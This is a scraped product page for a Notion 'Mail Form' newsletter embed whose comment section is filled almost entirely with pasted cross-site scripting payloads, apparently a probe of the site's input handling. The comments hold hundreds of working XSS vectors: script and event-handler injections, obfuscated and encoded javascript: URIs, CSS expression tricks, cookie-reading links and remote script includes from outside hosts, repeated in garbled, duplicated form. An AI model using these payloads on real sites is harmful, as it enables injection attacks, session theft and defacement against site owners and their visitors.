📧

Mail Form

85.1K

Collect emails from your newsletter subscribers & download it as CSV.

Try in your page ! (demo)

paste the url into your Notion page's /embed block.

Create Mail Form Embed URL

live demo

You need to sign in to continue.

92 comments

2222

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E ">

">123

123

">alert(`TEXT YOU WANT TO BE DISPLAYED`);

123 Hover the cursor to the LEFT of this Message

&ParamHeight=250 ">

">123

123

{font-family&colon;'<iframe/onload=confirm(1)>' <input/onmouseover="javaSCRIPT&colon;confirm(1)" <sVg><scRipt >alert(1) {Opera} <img/src=`` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript&colon;confirm(1)" <img src=``&NewLine; onerror=alert(1)&NewLine; <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /**/>/**/alert(1)/**/</script /**/ "><h1/onmouseover='\u0061lert(1)'> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert(document&period;location)> <form><a href="javascript:\u0061lert(1)">X</script><img/*/src="worksinchrome&colon;prompt(1)"/*/onerror='eval(src)'> <img/	
 src=`~` onerror=prompt(1)> <form><iframe 	
 src="javascript:alert(1)"
	;> <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	
>X</a http://www.google<script .com>alert(document.location)</script <a href=[]" onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ /**/alert(document.location)/**/ /***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/ X alert(0%0) <///style///><span %2F onmousemove='alert(1)'>SPAN <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1) "><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>' <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} <marquee onstart='javascript:alert(1)'>^__^ <div/style="width:expression(confirm(1))">X</div> {IE7} <iframe// src=javaSCRIPT&colon;alert(1) //<form/action=javascript:alert(document&period;cookie)><input/type='submit'>// /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/ |\>''alert(1) {Opera} <a href="javascript&colon;\u0061l&#101%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT&colon;alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <var onmouseover="prompt(1)">On Mouse Over</var> <a href=javascript&colon;alert(document&period;cookie)>Click Here</a> <img src="/" =_=" title="onerror='prompt(1)'"> <%<!--'%><script>alert(1); X http://www.alert(1) alert(1) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> <img src=`xx:xx`onerror=alert(1)> <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/> <math><a xlink:href="//jsfiddle.net/t846h/">click <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <svg contentScriptType=text/vbs><script>MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061') +-+-1-+-+alert(1) /*<script* */alert(1)//&NewLine;confirm(1); alert(1) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe <script x> alert(1) style="x:"> --!>

x ">

CLICKME click Click' target='_blank'>http://sternefamily.net/foo.js%22></script>%E2%80%8B">Click Me javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); '`">javascript:alert(1) '`">javascript:alert(1)

\x3Cscript>javascript:alert(1) '"`>/* *\x2Fjavascript:alert(1)// */ javascript:alert(1)javascript:alert(1)javascript:alert(1)javascript:alert(1) --> --> --> --> --> `"'>

a='hello\x27;javascript:alert(1)//';

test test test test test test test test test test test test test test /* *\x2A/javascript:alert(1)// */ /* *\x00/javascript:alert(1)// */ "'`>ABC

DEF "'`>ABC

DEF if("x\\xE1\x96\x89".length==2) { javascript:alert(1);} if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);} if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);} '`">javascript:alert(1) '`">javascript:alert(1) "'`> "'`> javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); ABC

DEF ABC

DEF test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> "`'>\x3Bjavascript:alert(1) "`'>\x0Djavascript:alert(1) "`'>\xEF\xBB\xBFjavascript:alert(1) "`'>\xE2\x80\x81javascript:alert(1) "`'>\xE2\x80\x84javascript:alert(1) "`'>\xE3\x80\x80javascript:alert(1) "`'>\x09javascript:alert(1) "`'>\xE2\x80\x89javascript:alert(1) "`'>\xE2\x80\x85javascript:alert(1) "`'>\xE2\x80\x88javascript:alert(1) "`'>\x00javascript:alert(1) "`'>\xE2\x80\xA8javascript:alert(1) "`'>\xE2\x80\x8Ajavascript:alert(1) "`'>\xE1\x9A\x80javascript:alert(1) "`'>\x0Cjavascript:alert(1) "`'>\x2Bjavascript:alert(1) "`'>\xF0\x90\x96\x9Ajavascript:alert(1) "`'>-javascript:alert(1) "`'>\x0Ajavascript:alert(1) "`'>\xE2\x80\xAFjavascript:alert(1) "`'>\x7Ejavascript:alert(1) "`'>\xE2\x80\x87javascript:alert(1) "`'>\xE2\x81\x9Fjavascript:alert(1) "`'>\xE2\x80\xA9javascript:alert(1) "`'>\xC2\x85javascript:alert(1) "`'>\xEF\xBF\xAEjavascript:alert(1) "`'>\xE2\x80\x83javascript:alert(1) "`'>\xE2\x80\x8Bjavascript:alert(1) "`'>\xEF\xBF\xBEjavascript:alert(1) "`'>\xE2\x80\x80javascript:alert(1) "`'>\x21javascript:alert(1) "`'>\xE2\x80\x82javascript:alert(1) "`'>\xE2\x80\x86javascript:alert(1) "`'>\xE1\xA0\x8Ejavascript:alert(1) "`'>\x0Bjavascript:alert(1) "`'>\x20javascript:alert(1) "`'>\xC2\xA0javascript:alert(1) "/> "/> "/> "/> "/> "/> "/> "/> "/> javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) ">

`"'> `"'> `"'> `"'> `"'> `"'> `"'> javascript:alert(1)<\x00/script> <img src=# onerror\x3D"javascript:alert(1)" > <input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus> <video poster=javascript:javascript:alert(1)// <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X <video><source onerror="javascript:javascript:alert(1)"> <video onerror="javascript:javascript:alert(1)"><source> <form><button formaction="javascript:javascript:alert(1)">X <body oninput=javascript:alert(1)><input autofocus> <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> <frameset onload=javascript:alert(1)> <table background="javascript:javascript:alert(1)"> <img src=x onerror=javascript:alert(1)//"> <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> <![><img src="]><img src=x onerror=javascript:alert(1)//"> <style><img src="</style><img src=x onerror=javascript:alert(1)//"> <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1) alert(1)0

document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML; <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x <? foo="><script>javascript:alert(1)"> javascript:alert(1)"> foo=">javascript:alert(1)"> foo=">">
d.innerHTML=d.innerHTML XXX http://foo.bar/#x=%60y"> alt="`><img src=x:x onerror=javascript:alert(1)></a>"> X p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red}; @import "data:,*%7bx:expression(javascript:alert(1))%7D"; XXX XXX *[{}@import'%(css)s?]X
XXX
XXX / style=x:expression\28javascript:alert(1)\29> *{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}

X
X
with(document.getElementById("d"))innerHTML=innerHTML
X
X
XXX
#x{font-family:foo[bar;color:green;} #y];color:red;{} XXX ({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval ({0:#0=eval/#0#/#0#(javascript:alert(1))}) ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')() &ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi &alert&A7&(1)&R&UA;&&<&A9&11/script&X&> <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>> <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe> 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> <x style="behavior:url(%(sct)s)"> <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> <event-source src="%(event)s" onload="javascript:alert(1)"> <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>"> <script>%(payload)s javascript:alert(1) <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> <BODY ONLOAD=javascript:alert(1)> <BODY ONLOAD=javascript:javascript:alert(1)> <IMG SRC="jav ascript:javascript:alert(1);"> <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)> <SCRIPT/SRC="%(jscript)s"> <%(payload)s//<
@import'%(css)s'; li {list-style-image: url("javascript:javascript:alert(1)");}
XSS

javascript:alert(1); .XSS{background-image:url("javascript:javascript:alert(1)");} BODY{background:url("javascript:javascript:alert(1)")} XSS""","XML namespace."),("""<IMG SRC="javascript:javascript:alert(1)"> +ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- X

@import'%(css)s'; a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');} &&javascript:alert(1)&&;&&<&&/script&&> <SCRIPT onreadystatechange=javascript:javascript:alert(1);> javascript:alert(1);
]] test1 test1 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'>alert(String.fromCharCode(88,83,83)) '';!--"=&{()} xxs link xxs link alert("XSS")"> perl -e 'print "";' > out <alert("XSS");//< <SCRIPT SRC=//ha.ckers.org/.j> <IMG SRC="javascript:alert('XSS')" <iframe src=http://ha.ckers.org/scriptlet.html < \";alert('XSS');// </TITLE><SCRIPT>alert("XSS"); li {list-style-image: url("javascript:alert('XSS')");}
XSS
@import'http://ha.ckers.org/xss.css'; BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")} @im\port'\ja\vasc\ript:alert("XSS")'; exp/* alert('XSS'); .XSS{background-image:url("javascript:alert('XSS')");} BODY{background:url("javascript:alert('XSS')")} BODY{background:url("javascript:alert('XSS')")} ¼script¾alert(¢XSS¢)¼/script¾

echo('alert("XSS")'); ?> ' target='_blank'>http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- " SRC="http://ha.ckers.org/xss.js"> '" SRC="http://ha.ckers.org/xss.js"> ` SRC="http://ha.ckers.org/xss.js"> document.write("<SCRI");PT SRC="http://ha.ckers.org/xss.js"> XSS' target='_blank'>http://66.102.7.147/">XSS XSS' target='_blank'>http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS XSS' target='_blank'>http://1113982867/">XSS XSS' target='_blank'>http://0x42.0x0000066.0x7.0x93/">XSS XSS' target='_blank'>http://0102.0146.0007.00000223/">XSS XSS {font-family&colon;'<iframe/onload=confirm(1)>' <input/onmouseover="javaSCRIPT&colon;confirm(1)" <sVg><scRipt >alert(1) {Opera} <img/src=`` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript&colon;confirm(1)" <img src=``&NewLine; onerror=alert(1)&NewLine; <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /**/>/**/alert(1)/**/</script /**/ "><h1/onmouseover='\u0061lert(1)'> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert(document&period;location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*/src="worksinchrome&colon;prompt(1)"/*/onerror='eval(src)'> <img/	
 src=`~` onerror=prompt(1)> <form><iframe 	
 src="javascript:alert(1)"
	;> <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	
>X</a http://www.google<script .com>alert(document.location)</script <a href=[]" onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ /**/alert(document.location)/**/ /***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/ X alert(0%0) <///style///><span %2F onmousemove='alert(1)'>SPAN <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1) "><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>' <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} <marquee onstart='javascript:alert(1)'>^__^ <div/style="width:expression(confirm(1))">X</div> {IE7} <iframe// src=javaSCRIPT&colon;alert(1) //<form/action=javascript:alert(document&period;cookie)><input/type='submit'>// /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/ |\>''alert(1) {Opera} <a href="javascript&colon;\u0061l&#101%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT&colon;alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <var onmouseover="prompt(1)">On Mouse Over</var> <a href=javascript&colon;alert(document&period;cookie)>Click Here</a> <img src="/" =_=" title="onerror='prompt(1)'"> <%</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> '';!--"<XSS>=&{()} <SCRIPT>alert('XSS')</SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <BASE HREF="javascript:alert('XSS');//"> <BGSOUND SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS');"> <BODY ONLOAD=alert('XSS')> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));"> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG DYNSRC="javascript:alert('XSS');"> <IMG LOWSRC="javascript:alert('XSS');"> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser exp/*<XSS STYLE='no\xss:noxss("*//*"); <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS <IMG SRC='vbscript:msgbox("XSS")'> <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> <IMG SRC="livescript:[code]"> %BCscript%BEalert(%A2XSS%A2)%BC/script%BE <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <IMG SRC="mocha:[code]"> <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> a="get";
b="URL("";
c="javascript:";
d="alert('XSS');")"; eval(a+b+c+d); <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <XSS STYLE="xss:expression(alert('XSS'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> <HTML xmlns:xss> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> <XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML> <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> <HTML><BODY>  <? echo('<SCR)'; <BR SIZE="&{alert('XSS')}"> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=javascript:alert('XSS')> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- \";alert('XSS');// </TITLE><SCRIPT>alert("XSS");</SCRIPT> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav	ascript:alert('XSS');"> <IMG SRC="jav
ascript:alert('XSS');"> <IMG SRC="javascript:alert('XSS');"> <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out <IMG SRC="  javascript:alert('XSS');"> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> <SCRIPT SRC=http://ha.ckers.org/xss.js <SCRIPT SRC=//ha.ckers.org/.j> <IMG SRC="javascript:alert('XSS')" <IFRAME SRC=http://ha.ckers.org/scriptlet.html < <<SCRIPT>alert("XSS");//<</SCRIPT> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <SCRIPT>a=/XSS/ <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <A HREF="http://66.102.7.147/">XSS</A> <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> <A HREF="http://1113982867/">XSS</A> <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> <A HREF="http://0102.0146.0007.00000223/">XSS</A> <A HREF="h tt p://6	6.000146.0x7.147/">XSS</A> <A HREF="//www.google.com/">XSS</A> <A HREF="//google">XSS</A> <A HREF="http://ha.ckers.org@google">XSS</A> <A HREF="http://google:ha.ckers.org">XSS</A> <A HREF="http://google.com/">XSS</A> <A HREF="http://www.google.com./">XSS</A> <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> document.vulnerable=true; <document.vulnerable=true;//< document.vulnerable=true; document.vulnerable=true;
li {list-style-image: url("javascript:document.vulnerable=true;");
XSS 1script3document.vulnerable=true;1/script3

@im\port'\ja\vasc\ript:document.vulnerable=true'; exp/* document.vulnerable=true; .XSS{background-image:url("javascript:document.vulnerable=true");} BODY{background:url("javascript:document.vulnerable=true")} ]] echo('document.vulnerable=true'); ?> +ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
&document.vulnerable=true; &{document.vulnerable=true;};

document.vulnerable=true;  <document.vulnerable=true; document.vulnerable=true;//--> document.vulnerable=true; document.vulnerable=true;;
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> @import'http://www.securitycompass.com/xss.css'; BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")} XSS " SRC="http://www.securitycompass.com/xss.js"> '" SRC="http://www.securitycompass.com/xss.js"> ` SRC="http://www.securitycompass.com/xss.js"> document.write("<SCRI");PT SRC="http://www.securitycompass.com/xss.js">
[Mozilla] "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> </script><script>alert(1)</script> </br style=a:expression(alert())> <scrscriptipt>alert(1)</scrscriptipt> <br size=\"&{alert('XSS')}\"> perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out ">alert('XSS') XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> XSS STYLE=xss:e/**/xpression(alert('XSS'))> ';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;;";>;';>;;alert(String.fromCharCode(88,83,83)); ';';;!--";;=&;{()} ;alert(';XSS';); ;; ;alert(String.fromCharCode(88,83,83)); ; ; ; ; ; ; ; ;;; ;; ; ; ; ; ; ; Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser exp/*;li {list-style-image: url(";javascript:alert('XSS')";);};;;XSS ; ;; ; %BCscript%BEalert(%A2XSS%A2)%BC/script%BE ; ; ; ; ;; ;;; ;; a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";; eval(a+b+c+d); ;alert(';XSS';);; ; ; ;.XSS{background-image:url(";javascript:alert(';XSS';)";);};;; ;BODY{background:url(";javascript:alert(';XSS';)";)}; ; ; ;@import';http://ha.ckers.org/xss.css';;; ;; REL=stylesheet";>; ;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}; ;; ;;;; ; ;;;;;]]>; ;;;;cript:alert(';XSS';)";>;;;; ;; ;; ; ;alert(';XSS';);";>; ; ;; ;;;';";-->; ; ; ; ; ; ; ; ; ; ;; ;+ADw-SCRIPT+AD4-alert(';XSS';);+ADw-/SCRIPT+AD4- \";;alert(';XSS';);// ;;alert("XSS");; ;@im\port';\ja\vasc\ript:alert(";XSS";)';;; ; ; ; ; ; perl -e ';print ";";;';>; out perl -e ';print ";&;;alert(";XSS";);";;'; >; out ; ;; ; ; ;alert(";XSS";);//; ;;alert(";XSS";);";>; ;a=/XSS/ ;"; SRC=";http://ha.ckers.org/xss.js";>;; ;; ;; ;';"; SRC=";http://ha.ckers.org/xss.js";>;; ;` SRC=";http://ha.ckers.org/xss.js";>;; ;document.write(";;PT SRC=";http://ha.ckers.org/xss.js";>;; ';>"; SRC=";http://ha.ckers.org/xss.js";>;; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; ;XSS; document.vulnerable=true; <document.vulnerable=true;//< document.vulnerable=true; document.vulnerable=true;
li {list-style-image: url("javascript:document.vulnerable=true;");
XSS 1script3document.vulnerable=true;1/script3

@im\port'\ja\vasc\ript:document.vulnerable=true'; exp/* document.vulnerable=true; .XSS{background-image:url("javascript:document.vulnerable=true");} BODY{background:url("javascript:document.vulnerable=true")} ]] echo('document.vulnerable=true'); ?> +ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
&document.vulnerable=true; &{document.vulnerable=true;};

document.vulnerable=true;  <document.vulnerable=true; document.vulnerable=true;//--> document.vulnerable=true; document.vulnerable=true;;
